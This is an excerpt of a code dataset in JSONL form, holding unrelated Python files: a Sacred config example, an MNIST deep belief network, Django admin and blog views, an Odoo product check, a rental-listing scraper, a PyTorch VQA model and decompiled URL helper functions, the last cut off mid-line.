+{"seq_id":"207681455","text":"# coding=utf-8\n\n\"\"\"\n\n\"\"\"\n\nfrom __future__ import division, print_function, unicode_literals\nfrom sacred import Experiment\n\n# create an experiemnt and name it\nex = Experiment(\"hello_config_scope\")\n\n# A ConfigScope is a function decorated with @ex.config\n# All variables of this function will be put into the configuration\n\n@ex.config\ndef cfg(_log):\n    greeting = \"Hello\"\n    recepient = \"Prithvi\"\n    message = f\"{greeting}\\! {recepient}\"\n\n\n# We can access all the variables in function with @ex.config decoration\n@ex.automain\ndef main(message):\n    print(message)      # OKAY\n    print(greeting)     # ERROR: greeting is not passed to the enclosing method\n\n","sub_path":"flashSwift/sacred/03_hello_config_scope.py","file_name":"03_hello_config_scope.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"31891759","text":"import math\n\nimport numpy as np\nimport tensorflow as tf\nfrom rbm import RBM\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nclass NN(object):\n    '''\n    定义预测的神经网络\n    '''\n    def __init__(self, sizes, X, Y):\n        # 初始化超参数\n        self._sizes = sizes\n        self._X = X\n        self._Y = Y\n        self.w_list = []\n        self.b_list = []\n        self._learning_rate =  1.0\n        self._momentum = 0.0\n        self._epoches = 100\n        self._batchsize = 100\n        input_size = X.shape[1]\n\n        # 初始循环\n        for size in self._sizes + [Y.shape[1]]:\n            # 定义RBM层数加1层输出层参数\n            max_range = 4 * math.sqrt(6. / (input_size + size))\n\n            # 通过随机分布来初始化\n            self.w_list.append(np.random.uniform( -max_range, max_range, [input_size, size]).astype(np.float32))\n\n            # 初始化偏置\n            self.b_list.append(np.zeros([size], np.float32))\n            input_size = size\n\n    def load_from_rbms(self, dbn_sizes,rbm_list):\n        # 从rbms中读取数据\n        for i in range(len(self._sizes)):\n            # 将前n-1组的权重赋值\n            self.w_list[i] = rbm_list[i].w\n            self.b_list[i] = rbm_list[i].hb\n\n    def train(self):\n        # 开始训练\n        _a = [None] * (len(self._sizes) + 2)\n        _w = [None] * (len(self._sizes) + 1)\n        _b = [None] * (len(self._sizes) + 1)\n        _a[0] = tf.placeholder(\"float\", [None, self._X.shape[1]])\n        y = tf.placeholder(\"float\", [None, self._Y.shape[1]])\n\n        # 定义变量和训练误差\n        for i in range(len(self._sizes) + 1):\n            _w[i] = tf.Variable(self.w_list[i])\n            _b[i] = tf.Variable(self.b_list[i])\n        for i in range(1, len(self._sizes) + 2):\n            _a[i] = tf.nn.sigmoid(tf.matmul(_a[i - 1], _w[i - 1]) + _b[i - 1])\n\n        # 定义损失函数\n        cost = tf.reduce_mean(tf.square(_a[-1] - y))\n\n        train_op = tf.train.MomentumOptimizer(self._learning_rate, self._momentum).minimize(cost)\n\n        # 预测操作\n        predict_op = tf.argmax(_a[-1], 1)\n\n        # 训练循环\n        with tf.Session() as sess:\n            #Initialize Variables\n            sess.run(tf.global_variables_initializer())\n\n            # 开始训练\n            for i in range(self._epoches):\n                for start, end in zip(range(0, len(self._X), self._batchsize), range(self._batchsize, len(self._X), self._batchsize)):\n                    sess.run(train_op, feed_dict={_a[0]: self._X[start:end], y: self._Y[start:end]})\n                for j in range(len(self._sizes) + 1):\n                    self.w_list[j] = sess.run(_w[j])\n                    self.b_list[j] = sess.run(_b[j])\n                    self.b_list[j] = sess.run(_b[j])\n                print(\"Accuracy rating for epoch \" + str(i) + \": \" + str(np.mean(np.argmax(self._Y, axis=1) ==\n                              sess.run(predict_op, feed_dict={_a[0]: self._X, y: self._Y}))))\n\n\n# 读取数据\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\ntrX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels\n# 创建3个RBM模型\nRBM_hidden_sizes = [500, 200, 50]\ninpX = trX\n# 保存模型\nrbm_list = []\n\n# 输入数量\ninput_size = inpX.shape[1]\n\n# 对RBM模型开始训练\nprint('Pre_train begins!')\nfor i, size in enumerate(RBM_hidden_sizes):\n    print('RBM: ', i, ' ', input_size, '->', size)\n    rbm_list.append(RBM(input_size, size))\n    input_size = size\nfor rbm in rbm_list:\n    print('New RBM:')\n    rbm.train(inpX)\n    inpX = rbm.rbm_outpt(inpX)\nprint('Train begins!')\nnNet = NN(RBM_hidden_sizes, trX, trY)\nnNet.load_from_rbms(RBM_hidden_sizes,rbm_list)\nnNet.train()","sub_path":"Algor/DeepBeliefN/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"413245070","text":"# mcu_app/admin.py\nfrom django.contrib import admin\nfrom django.urls import reverse\nfrom django.utils.html import format_html\nfrom django.contrib.contenttypes.models import ContentType\n\nfrom mcu_app.models import Source, SourceHierarchy, Character, Event, Ref, Reflink\n\ndef linkify(field_name, many=False):\n    \"\"\"\n    Converts a foreign key value into clickable links.\n    https://stackoverflow.com/questions/37539132/\n\n    If field_name is 'parent', link text will be str(obj.parent)\n    Link will be admin url for the admin url for obj.parent.<model_key>:change\n    \"\"\"\n    def _linkify(obj):\n        linked_obj = getattr(obj, field_name)\n        if not getattr(obj, field_name):\n            return None\n        c = ContentType.objects.get_for_model(obj)\n\n        if not many:\n            lc = ContentType.objects.get_for_model(linked_obj)\n            view_name = f\"admin:{c.app_label}_{lc.model}_change\"\n            link_url = reverse(view_name, args=[linked_obj.pk])\n            return format_html('<a href=\"{}\">{}</a>', link_url, linked_obj)\n        else:\n            if not linked_obj.all():\n                return None\n\n            lc = ContentType.objects.get_for_model(linked_obj.all()[0])\n            view_name = f\"admin:{c.app_label}_{lc.model}_change\"\n            m2m_linked_objs = [{\n                'link_url': reverse(view_name, args=[obj.pk]), \n                'link_name': obj.pk,\n                } for obj in linked_obj.all()]\n            return format_html(', '.join([format_html('<a href=\"{}\">{}</a>', obj['link_url'], obj['link_name']) \n                    for obj in m2m_linked_objs])\n                )\n\n    _linkify.short_description = field_name  # Sets column name\n    return _linkify\n\n\nclass SourceAdmin(admin.ModelAdmin):\n    def events_count(self, obj):\n        return obj.events.count()\n    fieldsets = [\n        (None, {'fields': ['sid', 'parent', 'title', 'type']}),\n        ('Details', {'fields': ['details_formatted']}),\n    ]\n    list_display = ('sid', linkify(field_name='parent'), 'title', 'type', 'details', 'events_count')\n    readonly_fields = ('details', 'details_formatted')\n    search_fields = ('sid', 'title',)\n\n\nclass SourceHierarchyAdmin(admin.ModelAdmin):\n    fieldsets = [('Hierarchy', {'fields': ['hierarchy_formatted']})]\n    readonly_fields = ('hierarchy', 'hierarchy_formatted')\n\n\nclass CharacterAdmin(admin.ModelAdmin):\n    def events_count(self, obj):\n        return obj.events.count()\n    list_display = ('cid', 'cid_redirects', 'real_name', 'events_count', linkify(field_name='events', many=True))\n    search_fields = ('cid', )\n\nclass EventAdmin(admin.ModelAdmin):\n    list_display = ('eid', 'filename', 'date', 'reality', 'title',\n        linkify(field_name='sources', many=True), \n        linkify(field_name='characters', many=True), \n        linkify(field_name='reflinks', many=True),\n        'desc',\n    )\n    search_fields = ('eid', 'sources__sid')\n\n\nclass RefAdmin(admin.ModelAdmin):\n    list_display = ('rid', 'name', 'desc', 'source')\n    search_fields = ('rid', )\n\nclass ReflinkAdmin(admin.ModelAdmin):\n    list_display = ('lid', \n        linkify(field_name='evt'), \n        linkify(field_name='src'), \n        linkify(field_name='ref'),\n    )\n    search_fields = ('lid', 'evt__eid' )\n\nadmin.site.register(Source, SourceAdmin)\nadmin.site.register(SourceHierarchy, SourceHierarchyAdmin)\nadmin.site.register(Character, CharacterAdmin)\nadmin.site.register(Event, EventAdmin)\nadmin.site.register(Ref, RefAdmin)\nadmin.site.register(Reflink, ReflinkAdmin)\n","sub_path":"mcu_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"31679466","text":"from urllib.parse import quote_plus\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.utils import timezone\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q\nfrom .models import Post\nfrom .forms import PostForm\nfrom comments.models import Comment\nfrom comments.forms import CommentForm\n\n\n@login_required\ndef post_create(request):\n\n    form = PostForm(request.POST or None, request.FILES or None)\n    if form.is_valid():\n        instance = form.save(commit=False)\n        instance.user = request.user\n        instance.save()\n        messages.success(request, \"Successfuly Created\")\n        return HttpResponseRedirect(f'/{instance.slug}/')\n\n    button_variables = \"Create\"\n    context = {\n        'form': form,\n        'button_variables': button_variables\n    }\n    return render(request, 'post_form.html', context)\n\n\ndef post_detail(request, slug):\n    today = timezone.now().date()\n    instance = get_object_or_404(Post, slug=slug)\n    if instance.publish > timezone.now().date() or instance.draft:\n        if not request.user.is_authenticated or not request.user.is_staff or not request.user.is_superuser:\n            raise Http404\n\n    initial_data = {\n        \"content_type\": instance.get_content_type,\n        \"object_id\": instance.id\n    }\n    comment_form = CommentForm(request.POST or None, initial=initial_data)\n    if comment_form.is_valid():\n        c_type = comment_form.cleaned_data.get(\"content_type\")\n\n        content_type = ContentType.objects.get(model=c_type)\n        object_id = comment_form.cleaned_data.get(\"object_id\")\n        content = comment_form.cleaned_data.get(\"content\")\n        parent_obj = None\n        try:\n            parent_id = int(request.POST.get(\"parent_id\"))\n        except:\n            parent_id = None\n\n        if parent_id:\n            parent_qs = Comment.objects.filter(id=parent_id)\n            if parent_qs.exists() and parent_qs.count() == 1:\n                parent_obj = parent_qs.first()\n\n        new_comment, created = Comment.objects.get_or_create(\n            user=request.user,\n            content_type=content_type,\n            object_id=object_id,\n            content=content,\n            parent=parent_obj\n        )\n\n        return HttpResponseRedirect(f'/{instance.slug}/')\n\n    comments = instance.comments\n    share_string = quote_plus(instance.content)\n    context = {\n        \"title\": instance.title,\n        \"instance\": instance,\n        \"share_string\": share_string,\n        \"today\": today,\n        \"comment_form\": comment_form,\n        \"comments\": comments,\n    }\n    return render(request, 'post_detail.html', context)\n\n\ndef post_list(request):\n    today = timezone.now().date()\n    query_list = Post.objects.active()\n\n    if request.user.is_staff or request.user.is_superuser:\n        query_list = Post.objects.all().order_by('-timestamp')\n\n    search = request.GET.get('search')\n    if search:\n        query_list = query_list.filter(\n            Q(title__icontains=search) or\n            Q(content__icontains=search)\n        ).distinct()\n    paginator = Paginator(query_list, 6)\n    page_request_var = \"page\"\n    page = request.GET.get(page_request_var)\n    query_set = paginator.get_page(page)\n\n    context = {\n            \"title\": \"My User List\",\n            \"object_list\": query_set,\n            \"page_request_var\": page_request_var,\n            \"today\": today\n        }\n\n    return render(request, 'post_list.html', context)\n\n\n@login_required\ndef post_update(request, slug):\n\n    instance = get_object_or_404(Post, slug=slug)\n\n    if request.user == instance.user or request.user.is_superuser:\n        form = PostForm(request.POST or None, request.FILES or None, instance=instance)\n        if form.is_valid():\n            instance = form.save(commit=False)\n            instance.save()\n            messages.success(request, \"Post Updated\")\n            return HttpResponseRedirect(f'/{instance.slug}/')\n    else:\n        raise Http404(\"You Dont Have Permission to delete this post\")\n\n    button_variables = \"Update\"\n    context = {\n        \"title\": instance.title,\n        \"instance\": instance,\n        \"button_variables\": button_variables,\n        \"form\": form\n    }\n    return render(request, 'post_form.html', context)\n\n\n@login_required\ndef post_delete(request, slug):\n\n    instance = get_object_or_404(Post, slug=slug)\n\n    if request.user == instance.user or request.user.is_superuser:\n        instance.delete()\n        messages.success(request, \"Successfuly Deleted\")\n        return redirect('posts:list')\n    else:\n        raise Http404(\"You Dont Have Permission to delete this post\")\n","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"593433073","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2016-Today: La Louve (<http://www.lalouve.net/>)\n# @author: La Louve\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\nfrom openerp import fields, models, api, _\nfrom openerp.exceptions import Warning\n\nclass ProductTemplate(models.Model):\n    _inherit = 'product.template'\n\n    @api.multi\n    def write(self, vals):\n        if 'available_in_pos' in vals and not vals['available_in_pos']:\n            self.check_pos_session_running()\n        return super(ProductTemplate, self).write(vals)\n\n    @api.multi\n    def check_pos_session_running(self):\n        pos_sessions = self.env['pos.session'].search(\n            [('state', 'in', ['opening_control', 'opened'])])\n        if pos_sessions:\n            raise Warning(_(\n                'You cannot unticking Available in the Point of Sale '\n                'When POS Session are running with ids %s') % pos_sessions.ids)\n        return True\n","sub_path":"intercoop_addons/coop_point_of_sale/models/product_template.py","file_name":"product_template.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"468051182","text":"__author__ = 'speky'\n\nimport requests\nimport bs4\nimport operator\nimport base\n\n\nclass IngatlanBazarSearch(base.BaseSearch):\n\n    def __init__(self):\n        base.BaseSearch.__init__(self)\n        self.root_url = 'http://ingatlanbazar.hu/'\n        self.index_url = self.root_url + '/HU/ingatlan-'\n        self.districts = {'I':202, 'II':197, 'III': 213, 'IV':199, 'V':208, 'VI':212, 'VII':217, 'VIII':214, 'IX':216, 'X':204,\n                          'XI':209, 'XII':205, 'XIII':210, 'XIV':211, 'XV':206,'XVI':201, 'XVII':196, 'XVIII':245, 'XIX':198, 'XX':200,\n                          'XXI':207, 'XXII':203, 'XXIII':218}\n\n    def set_params(self, min_cost, max_cost, min_size, max_size, dog, furniture, district):\n        self.url = self.index_url\n        self.url += '+'+self.__set_district(district)\n        if furniture == 1:\n            self.url += self.furniture_string\n        # self.url += \"+\"+str(min_size)+\"-\"+str(max_size)+\"-m2\"\n        self.url += self.cost_string+str(min_cost)+\"-\"+str(max_cost)+\"-ezer-Ft\"\n        print(self.url)\n\n    def get_urls(self):\n        _lastPage = int(self.__get_max_page_number())\n        print(\"lastpage: \"+str(_lastPage))\n        for pageNumber in range(1, _lastPage + 1):\n            # print (\"pageNumber: \" + str(pageNumber))\n            self.__get_page_urls(pageNumber)\n        return self.numberOflinks\n\n    def __get_max_page_number(self):\n            _response = requests.get(self.url)\n            # fix if bug in the response html\n            text = _response.text.replace(\"!–[\", \"!--[\")\n            _soup = bs4.BeautifulSoup(text)\n            _max = _soup.find('li', attrs={'class': 'numbers'})\n            if _max == None:\n                return 0\n            _maxTxt = _max.text\n            _maxTxt = _maxTxt.replace('\\n', '')\n            # get max page number\n            _pageNum = _maxTxt.split()[-1]\n            #truncate '-bol' string from the end of it\n            return _pageNum[:-4]\n\n    def __get_page_urls(self, pageNum):\n        _response = requests.get(self.url+\"?page=\"+str(pageNum))\n        # fix if bug in the response html\n        _text = _response.text.replace(\"!–[\", \"!--[\")\n        _soup = bs4.BeautifulSoup(_text)\n        # find the rent box div\n        _divs = _soup.find_all('tr', attrs={'class': 'list-row'})\n        for div in _divs:\n            self.numberOflinks += 1\n            link = self.__get_link(div)\n            street = self.__get_address(div)\n            price = self.__get_price(div)\n            size = self.__get_area_size(div)\n            self.rentHouses[link] = {'address': street, 'price': price, 'size': size, 'distance': 0}\n\n    def __set_district(self, district):\n        if len(district) == 0:\n            return \"Magyarorszag-Lakas-Kiado-8-10-2\"\n        _result = \"Magyarorszag-Lakas-Kiado-8-10-\"\n        for num in district.split('+'):\n            id = num\n            id = str(id).upper()\n            _result += str(self.districts[id]) + ','\n        _result = _result[:-1]\n        print(_result)\n        return _result\n\n    def __get_link(self, div):\n        address = div.find('td', attrs={'class': 'thumbnail'})\n        _link = address.find('a')['href']\n        if _link.startswith('/'):\n            return self.root_url + _link\n        return _link\n\n    def __get_address(self, div):\n        _section = div.find('td', attrs={'class': 'address'})\n        _district = _section.text\n        _address = _district.replace('\\n', '').strip()\n        return _address\n\n    def __get_area_size(self, div):\n        _results = div.find_all('td', attrs={'class': 'centered'})\n        _size = _results[1].text\n        _size = ''.join(_size.split())\n        # remove m2 string from the end\n        return _size[:-2]\n\n    def __get_price(self, div):\n        _price = div.find('td', attrs={'class': 'centered'})\n        _price = _price.text\n        _price = ''.join(_price.split())\n        return _price[:-5]\n","sub_path":"renthouse/ingatlanbazar.py","file_name":"ingatlanbazar.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"35592615","text":"import torch\r\nimport torch.nn as nn\r\n\r\nimport torch.nn.functional as F\r\n\r\nWORD_EMBED_SIZE = 300\r\nNUM_LSTM_LAYERS = 2\r\nHIDDEN_LSTM_SIZE = 512\r\nIMAGE_FEATURES = 2048\r\nMID_FEATURES = 1024\r\nA_MID_FEATURES = 512\r\nDROPOUT = 0.5\r\nGLIMPSES = 2\r\nTEXT_FEATURES = NUM_LSTM_LAYERS * HIDDEN_LSTM_SIZE\r\n\r\n\r\nclass TextEncoder(nn.Module):\r\n    def __init__(self, input_text_size):\r\n        super(TextEncoder, self).__init__()\r\n        self.embedding = nn.Embedding(input_text_size, WORD_EMBED_SIZE)\r\n        self.activation = nn.Tanh()\r\n        self.drop = nn.Dropout(DROPOUT)\r\n        self.lstm = nn.LSTM(WORD_EMBED_SIZE, HIDDEN_LSTM_SIZE, NUM_LSTM_LAYERS)\r\n        nn.init.xavier_uniform_(self.embedding.weight)\r\n        for w in self.lstm.weight_ih_l0.chunk(4, 0):\r\n            nn.init.xavier_uniform_(w)\r\n        for w in self.lstm.weight_hh_l0.chunk(4, 0):\r\n            nn.init.xavier_uniform_(w)\r\n        self.lstm.bias_ih_l0.data.zero_()\r\n        self.lstm.bias_hh_l0.data.zero_()\r\n\r\n    def forward(self, question):\r\n        qst_vec = self.embedding(question)\r\n        qst_vec = self.activation(self.drop(qst_vec))\r\n        qst_vec = qst_vec.transpose(0, 1)\r\n        _, (hidden, cell) = self.lstm(qst_vec)\r\n        qst_feature = cell.transpose(0, 1)\r\n        qst_feature = qst_feature.reshape(qst_feature.size()[0], -1)\r\n\r\n        return qst_feature\r\n\r\n\r\nclass AttentionModel(nn.Module):\r\n    def __init__(self):\r\n        super(AttentionModel, self).__init__()\r\n        self.image_convolution = nn.Conv2d(IMAGE_FEATURES, A_MID_FEATURES, 1,\r\n                                           bias=False)  # let self.lin take care of bias\r\n        self.question_linear = nn.Linear(TEXT_FEATURES, A_MID_FEATURES)\r\n        self.result_convolution = nn.Conv2d(A_MID_FEATURES, GLIMPSES, 1)\r\n\r\n        self.drop = nn.Dropout(DROPOUT)\r\n        self.relu = nn.ReLU(inplace=True)\r\n\r\n    def forward(self, img, qst):\r\n        img = self.image_convolution(self.drop(img))\r\n        qst = self.question_linear(self.drop(qst))\r\n        attention_question = tile_2d_over_nd(qst, img)\r\n        result = self.relu(img + attention_question)\r\n        result = self.result_convolution(self.drop(result))\r\n        return result\r\n\r\n\r\nclass VqaModel(nn.Module):\r\n    def __init__(self, input_text_size, output_text_size):\r\n        super(VqaModel, self).__init__()\r\n        print('Using encoded images')\r\n        self.question_encoder = TextEncoder(input_text_size)\r\n        self.activation = nn.Tanh()\r\n        self.attention = AttentionModel()\r\n        self.dropout1 = nn.Dropout(DROPOUT)\r\n        self.dropout2 = nn.Dropout(DROPOUT)\r\n\r\n        self.linear1 = nn.Linear(GLIMPSES * IMAGE_FEATURES + TEXT_FEATURES, TEXT_FEATURES)\r\n        self.activation2 = nn.ReLU()\r\n        self.linear2 = nn.Linear(TEXT_FEATURES, output_text_size)\r\n\r\n        for m in self.modules():\r\n            if isinstance(m, nn.Linear):\r\n                nn.init.xavier_uniform_(m.weight)\r\n                if m.bias is not None:\r\n                    m.bias.data.zero_()\r\n\r\n    def forward(self, img, qst):\r\n        l2_norm = img.norm(p=2, dim=1, keepdim=True).detach()\r\n        img_ = img.div(l2_norm)\r\n\r\n        qst_ = self.question_encoder(qst)\r\n        attention = self.attention(img_, qst_)\r\n        img_ = apply_attention(img_, attention)\r\n        combined = torch.cat([img_, qst_], dim=1)\r\n        combined = self.dropout1(combined)\r\n        combined = self.linear1(combined)\r\n        combined = self.activation2(combined)\r\n\r\n        combined = self.dropout2(combined)\r\n        combined = self.linear2(combined)\r\n        return combined\r\n\r\n\r\ndef tile_2d_over_nd(feature_vector, feature_map):\r\n    \"\"\" Repeat the same feature vector over all spatial positions of a given feature map.\r\n        The feature vector should have the same batch size and number of features as the feature map.\r\n    \"\"\"\r\n    n, c = feature_vector.size()\r\n    spatial_size = feature_map.dim() - 2\r\n    tiled = feature_vector.view(n, c, *([1] * spatial_size)).expand_as(feature_map)\r\n    return tiled\r\n\r\n\r\ndef apply_attention(input, attention):\r\n    \"\"\" Apply any number of attention maps over the input. \"\"\"\r\n    n, c = input.size()[:2]\r\n    glimpses = attention.size(1)\r\n\r\n    # flatten the spatial dims into the third dim, since we don't need to care about how they are arranged\r\n    input = input.view(n, 1, c, -1)  # [n, 1, c, s]\r\n    attention = attention.view(n, glimpses, -1)\r\n    attention = F.softmax(attention, dim=-1).unsqueeze(2)  # [n, g, 1, s]\r\n    weighted = attention * input  # [n, g, v, s]\r\n    weighted_mean = weighted.sum(dim=-1)  # [n, g, v]\r\n    return weighted_mean.view(n, -1)\r\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"66995335","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: d:\\Dropbox\\vk\\django-url-methods\\urlmethods\\urlmethods.py\n# Compiled at: 2014-04-29 04:58:50\n\"\"\"\nhttp://www.ietf.org/rfc/rfc2396.txt\n\"\"\"\nimport re\nfrom threadmethod import threadmethod\nSPLIT_RE = re.compile('^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\\\\?([^#]*))?(#(.*))?')\n\ndef urlsplit(url):\n    \"\"\"\n    Split given ``url`` to the tuple\n    (scheme, authority, path, query, fragment).\n    \n    >>> urlsplit('http://www.ics.uci.edu/pub/ietf/uri/?arg1=value1&arg2=value2#Related')\n    ('http', 'www.ics.uci.edu', '/pub/ietf/uri/', 'arg1=value1&arg2=value2', 'Related')\n    \n    >>> urlsplit('http://www.ics.uci.edu')\n    ('http', 'www.ics.uci.edu', '', None, None)\n    \n    >>> urlsplit('http://www.ics.uci.edu/')\n    ('http', 'www.ics.uci.edu', '/', None, None)\n    \n    >>> urlsplit('http:/www.ics.uci.edu/')\n    ('http', None, '/www.ics.uci.edu/', None, None)\n    \n    >>> urlsplit('http:www.ics.uci.edu/')\n    ('http', None, 'www.ics.uci.edu/', None, None)\n    \n    >>> urlsplit('http/://www.ics.uci.edu/')\n    (None, None, 'http/://www.ics.uci.edu/', None, None)\n\n    >>> urlsplit('/img.png')\n    (None, None, '/img.png', None, None)\n    \n    >>> urlsplit('')\n    (None, None, '', None, None)\n    \"\"\"\n    match = SPLIT_RE.match(url)\n    return (match.group(2), match.group(4), match.group(5), match.group(7), match.group(9))\n\n\ndef urljoin(scheme, authority, path, query, fragment):\n    \"\"\"\n    Join url from given\n    ``scheme``, ``authority``, ``path``, ``query``, ``fragment``.\n\n    >>> url = 'http://www.ics.uci.edu/pub/ietf/uri/?arg1=value1&arg2=value2#Related'\n    >>> urljoin(*urlsplit(url)) == url\n    True\n\n    >>> url = '/img.png'\n    >>> urljoin(*urlsplit(url)) == url\n    True\n\n    >>> url = ''\n    >>> urljoin(*urlsplit(url)) == url\n    True\n    \"\"\"\n    result = ''\n    if scheme is not None:\n        result += scheme + ':'\n    if authority is not None:\n        result += '//' + authority\n    if path is not None:\n        result += path\n    if query is not None:\n        result += '?' + query\n    if fragment is not None:\n        result += '#' + fragment\n    return result\n\n\nURL_FIX_RE = re.compile('%(?![0-9A-Fa-f]{2})')\nURL_FIX_RELP = '%25'\n\ndef urlfix(url):\n    \"\"\"\n    Fix quotes in uri.\n    \n    >>> urlfix('/img.jpg')\n    '/img.jpg'\n\n    >>> urlfix('/%69mg.jpg')\n    '/%69mg.jpg'\n\n    >>> urlfix('/%mg.jpg')\n    '/%25mg.jpg'\n    \n    >>> urlfix('Q%WW%R%1TT%2%YYY%%34UU%a5%6A')\n    'Q%25WW%25R%251TT%252%25YYY%25%34UU%a5%6A'\n    \"\"\"\n    return URL_FIX_RE.sub(URL_FIX_RELP, url)\n\n\ndef remote_check(url, user_agent='Urlmethos'):\n    \"\"\"\n    Try to fetch specified ``url``.\n    Return True if success.\n    \n    >>> remote_check('http://example.com')\n    True\n\n    >>> remote_check('http://example.com/')\n    True\n    \n    >>> remote_check('http://example.com/?ask#anchor')\n    True\n    \n    >>> remote_check('http://example.com/does.not.exist.html')\n    False\n    \n    >>> remote_check('http://does.not.exist')\n    False\n\n    >>> remote_check('unsupported://example.com')\n    False\n\n    >>> remote_check('example.com')\n    False\n    \"\"\"\n    import urllib2\n    headers = {'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', \n       'Accept-Language': 'en-us,en;q=0.5', \n       'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', \n       'Connection': 'close', \n       'User-Agent': user_agent}\n    try:\n        req = urllib2.Request(url, None, headers)\n        urllib2.urlopen(req)\n    except:\n        return False\n\n    return True\n\n\ndef get_path(base_url, url):\n    \"\"\"\n    Returns None or path after base url.\n\n    >>> get_path('/media/', '/media/foo.bar')\n    'foo.bar'\n\n    >>> get_path('/media/', '/media/')\n    ''\n\n    >>> get_path('/media/', '/media') is None\n    True\n\n    >>> get_path('/media/', 'media/') is None\n    True\n\n    >>> get_path('/media/', 'baz') is None\n    True\n\n    \"\"\"\n    regexp = re.compile('^%s(?P<path>.*)$' % re.escape(base_url))\n    match = regexp.match(url)\n    if not match:\n        return None\n    else:\n        return match.groupdict()['path']\n\n\ndef local_media_response(path, data):\n    \"\"\"\n    Returns None or media serve response.\n\n    >>> local_media_response('/foo/bar', {}) is None\n    True\n\n    >>> local_media_response('/media/foo', {}).status_code\n    200\n\n    >>> local_media_response('/media/does.not.exist', {}).status_code\n    404\n    \"\"\"\n    from django.conf import settings\n    from django.http import Http404, HttpResponseNotFound\n    from django.views.static import serve\n    from django.test.client import RequestFactory\n    media_path = get_path(settings.MEDIA_URL, path)\n    if media_path is None:\n        return\n    else:\n        factory = RequestFactory()\n        request = factory.get(path, data)\n        try:\n            return serve(request=request, path=media_path, document_root=settings.MEDIA_ROOT)\n        except Http404:\n            return HttpResponseNotFound()\n\n        return\n\n\ndef local_static_response(path, data):\n    \"\"\"\n    Returns None or static serve response.\n\n    >>> local_static_response('/foo/bar', {}) is None\n    True\n\n    >>> local_static_response('/static/admin/css/base.css', {}).status_code\n    200\n\n    >>> local_static_response('/static/does.not.exist', {}).status_code\n    404\n    \"\"\"\n    from django.conf import settings\n    from django.contrib.staticfiles.views import serve\n    try:\n        from django.contrib.staticfiles.handlers import url2pathname\n    except ImportError:\n        from urllib import url2pathname\n\n    from django.http import Http404, HttpResponseNotFound\n    from django.test.client import RequestFactory\n    static_path = get_path(settings.STATIC_URL, path)\n    if static_path is None:\n        return\n    else:\n        factory = RequestFactory()\n        request = factory.get(path, data)\n        path_name = url2pathname(static_path)\n        try:\n            return serve(request=request, path=path_name, insecure=True)\n        except Http404:\n            return HttpResponseNotFound()\n\n        return\n\n\ndef local_response_unthreaded(path, query=None, follow_redirect=10):\n    \"\"\"\n    Try to fetch specified ``path`` using django.test.Client.\n\n    ``query`` is string with query.\n\n    ``follow_redirect`` is number of redirects to be followed.\n\n    Return response.\n\n    You must use threaded version of this function (local_response).\n    \"\"\"\n    from django.http import QueryDict\n    from django.test.client import Client\n    client = Client()\n    if query:\n        data = QueryDict(query)\n    else:\n        data = {}\n    while True:\n        response = local_media_response(path, data)\n        if response is None:\n            response = local_static_response(path, data)\n        if response is None:\n            response = client.get(path, data)\n        if follow_redirect and follow_redirect > 0 and response.status_code in (301,\n                                                                                302):\n            follow_redirect -= 1\n            scheme, authority, path, query, fragment = urlsplit(response['Location'])\n            if scheme == 'http' and authority == 'testserver':\n                continue\n        break\n\n    return response\n\n\n@threadmethod()\ndef local_response(path, query=None, follow_redirect=10):\n    \"\"\"\n    Try to fetch specified ``path`` using django.test.Client.\n\n    ``query`` is string with query.\n\n    ``follow_redirect`` is number of redirects to be followed.\n\n    Return response.\n\n    To prevent exceptions when local request will be called from request\n    we must run it in separated thread.\n\n    >>> local_response('/response').status_code\n    200\n\n    >>> local_response('/notfound').status_code\n    404\n\n    >>> local_response('/error').status_code\n    500\n\n    >>> local_response('/redirect_response').status_code\n    200\n\n    >>> local_response('/redirect_notfound').status_code\n    404\n\n    >>> local_response('/redirect_redirect_response').status_code\n    200\n\n    >>> local_response('/redirect_cicle').status_code\n    302\n\n    >>> local_response('/permanent_redirect_response').status_code\n    200\n\n    >>> local_response('/http404').status_code\n    404\n\n    >>> local_response('/http500')\n    Traceback (most recent call last):\n        ...\n    Exception\n\n    >>> local_response('/request_true_response').content\n    'True'\n\n    >>> local_response('/request_false_response').content\n    'False'\n\n    >>> local_response('/does.not.exist').status_code\n    404\n\n    >>> local_response('/media/foo').status_code\n    200\n\n    >>> local_response('/media/does.not.exist').status_code\n    404\n\n    >>> local_response('/static/admin/css/base.css').status_code\n    200\n\n    >>> local_response('/static/does.not.exist').status_code\n    404\n    \"\"\"\n    return local_response_unthreaded(path, query, 